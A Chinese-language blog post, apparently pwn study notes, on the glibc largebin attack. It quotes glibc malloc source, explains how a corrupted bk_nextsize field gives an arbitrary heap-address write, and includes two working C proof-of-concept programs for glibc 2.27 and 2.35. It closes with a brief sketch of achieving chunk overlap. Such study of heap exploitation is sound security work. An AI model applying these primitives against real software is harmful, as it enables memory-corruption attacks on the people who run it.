关于largebin

largebin图片来源:[原创]Largebin attack总结-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

任意地址写入堆地址

思路

1.需要存在uaf漏洞,也就是可以修改largebin的bcksize字段
2.需要申请足够多的堆块(用于隔离和清空unsortedbin)

原理

主要是largechunk入链的时候的漏洞,若unsortedbin中没有合适堆块,则会将unsortedbin中的堆块放到smallbin和lagerbin中。完整代码:

/* place chunk in bin */

if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

利用点:主要集中在这几行上面,如果可以覆盖fwd的bcksize字段,那么就可以将bcksize的+0x20处的值覆盖为victim的地址,实现任意地址写堆地址的目的,可以结合iofile构造io链使用,但是在高版本的情形下已经打上了补丁malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");检查了size双向链表的完整性,使此利用方法成为历史。

 victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;

但是下述代码没有检查,或许成为突破口。条件为,堆块在同一个bin中最小,且可以控制第一个堆块的bcksize字段,那么也可以形成上述攻击。。。。但是有可能我想错了。。。。

if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}

demo

测试攻击有效性的demo,

GLIBC2.7,不知道低版本的编译器有什么bug,编译连接之后printf有的指令需要栈对齐才能用,但是编译器没有考虑,所以就把printf注释掉了,Glibc2.23可正常使用,就不再写一遍了。

/*
gcc-7 -c largebin-attach.c -o lar2.7.o
ld --dynamic-linker=/home/l/how2heap/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so --rpath=/home/l/how2heap/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64 lar2.7.o -o lar2.7 -lc
*/
#include <stdlib.h>
#include <stdio.h>
int main(){
setbuf(stdout,0);
setbuf(stderr,0);
void *la = malloc(0x418);
void *junk = malloc(0x10);
void *lb = malloc(0x428);
/*保护chunk,防止释放与top合并*/
void *p1 = malloc(0x100);
/*进入unsorted bin */
free(la);
/*此时unsortedbin中chunk会被放到largerbin[64]中 */
malloc(0x800);
/*
此时的largerbin[64]的简略布局:
lb->la
*/
//printf("%p\n",la);
long *value = (long *)(*((long*)la+3));
//printf("la->bcksize = %p\n",value);
/*覆盖la->bcksize */
long *tmp = (long*)la+3;
//printf("_IO_2_1_stdin_ address = %p\n",stdin);
*tmp = (long *)&stdin-4;
/*attach start*/
free(lb);
malloc(0x800);
//printf("fake _IO_2_1_stdin_ address = %p\n",stdin);
exit(0);
}

GLIBC2.35,没想到这种版本居然也可以利用,只需要保证释放的堆块是最小的即可(交换la和lb的顺序),源码中已经分析过了没有检查,不知道再高的版本修复了没有。。。

#include <stdlib.h>
#include <stdio.h>
int main(){
setbuf(stdout,0);
setbuf(stderr,0);
void *la = malloc(0x428);
void *junk = malloc(0x10);
void *lb = malloc(0x418);
/*保护chunk,防止释放与top合并*/
void *p1 = malloc(0x100);
/*进入unsorted bin */
free(la);
/*此时unsortedbin中chunk会被放到largerbin[64]中 */
malloc(0x800);
/*
此时的largerbin[64]的简略布局:
lb->la
*/
printf("%p\n",la);
long *value = (long *)(*((long*)la+3));
printf("la->bcksize = %p\n",value);
/*覆盖la->bcksize */
long *tmp = (long*)la+3;
printf("_IO_2_1_stdin_ address = %p\n",stdin);
*tmp = (long *)&stdin-4;
/*attach start*/
free(lb);
malloc(0x800);
printf("fake _IO_2_1_stdin_ address = %p\n",stdin);
exit(0);
}

实现overlap

原理

if (!in_smallbin_range (nb))
{
bin = bin_at (av, idx);

/* skip scan if empty or largest chunk is too small */
if ((victim = first (bin)) != bin
&& (unsigned long) chunksize_nomask (victim)
>= (unsigned long) (nb))
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;

/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin)
&& chunksize_nomask (victim)
== chunksize_nomask (victim->fd))
victim = victim->fd;

remainder_size = size - nb;
unlink_chunk (av, victim);

/* Exhaust */
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
}
/* Split */
else
{
remainder = chunk_at_offset (victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
malloc_printerr ("malloc(): corrupted unsorted chunks");
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

利用如下语句来实现overlap

while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;

也就是哥哥该bk_nextsize字段,使其指向未释放的largebin,就可以实现,在此largebin中构造fd和bk绕过unlink,并且使nextsize域为空,绕过大块如链过程,然后就可以实现unlink攻击的效果。